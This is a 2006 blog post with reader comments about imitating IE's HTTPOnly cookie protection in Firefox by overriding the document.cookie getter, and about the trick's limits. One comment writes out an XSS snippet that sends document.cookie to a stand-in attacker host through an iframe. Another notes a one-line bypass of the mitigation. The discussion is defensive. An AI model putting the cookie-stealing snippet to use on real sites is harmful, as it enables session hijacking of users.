July 27, 2006

HTTPOnly For Firefox - Sort Of

IE implements a non-standard feature called HTTPOnly, which allows cookies to be set such that they are only sent back to the webserver, and are not available via JS. This mitigates cookie stealing using XSS.

Firefox hasn't got it yet; we're a bit held up by our legacy cookie "database" format, cookies.txt. However, Stefano Di Paola has come up with a way to implement the same feature, using the hackability of the Firefox JS engine.

Put the following line of code at the top of the first bit of JavaScript your page runs:

HTMLDocument.prototype.__defineGetter__("cookie",function (){return null;});

and, as long as the XSS injection hole is further down the page, cookie access from script will be impossible.

Posted by gerv at July 27, 2006 3:45 PM
Comments

Sounds like a greasemonkey script to me. :)

Posted by: Ray Booysen at July 27, 2006 6:49 PM

How would making it a Greasemonkey script help? The person who knows whether the page needs JS access to cookies or not is the site designer, not the user. If users start disabling cookie access to JS on random sites, they are going to break something.

Posted by: Gerv at July 27, 2006 6:59 PM

Will the introduction of Unified Storage in Firefox 2 mean that this will be implemented?

Posted by: Ruben Arakelyan at July 27, 2006 7:31 PM

Clever. :)

It won't protect against execution of scripts in uploaded files, though, since they would not include the snippet. Luckily Firefox isn't as vulnerable as MSIE to that, since it seems to actually obey Content-Type...

Posted by: brion at July 27, 2006 9:11 PM

"...in Internet Explorer 6Service Pack 1 (SP1)."

I never heard IE service pack. I think it's XP SP1.


Posted by: Alex at July 27, 2006 10:16 PM

I don't think this would work, even for preventing XSS code from getting cookies. What prevents the attacker from making an iframe with a data: src and (A) pulling the cookie from there or (B) pulling the correct cookie getter function from there?

Posted by: Jesse Ruderman at July 28, 2006 12:57 AM

I think an iframe with a data: src doesn't have the cookie, because it doesn't match the domain and path. Secondly, as far as I know, setters and getters can be defined, but they can't be read and copied, can they?

Posted by: Dao at July 29, 2006 4:08 PM

Dao's right about the first bit, iframe XXSing works by doing something like this:

<script>

document.write('<iframe src="http://scriptkiddie.org/cookiejar?cookie='+document.cookie+'">')

<script>
Of couse that won't work if you don't have access to document.cookie.

I'm not sure about the second bit though, but knowledge of Javascript or isn't good enough.

Posted by: Alan Trick at July 30, 2006 3:56 AM

I wrote an article on this on the below link it includes PHP support for HttpOnly, and information from this thread.

Posted by: Evert at August 8, 2006 2:06 AM

I just tested this, it seems to be defeated by

delete HTMLDocument.prototype.cookie;
Posted by: Dave at August 9, 2006 6:16 PM

I really want browser makers to develop a 'user content tag' that turns off all scripting, embeded objects, iframes, etc inside the tag (perhaps with an attribute that allows specific tags to be turned on. This would make parsing the content to get rid of XSS exploits a lot easier (should only have to look for and stop the corresponding closing tag).

Posted by: Miles at August 10, 2006 6:40 AM

Yeah, IE has a bunch of these nifty security related extensions. And there's also the security zone attribute for iframes that is useful. https://bugzilla.mozilla.org/show_bug.cgi?id=341604

Posted by: Karen at August 30, 2006 2:46 PM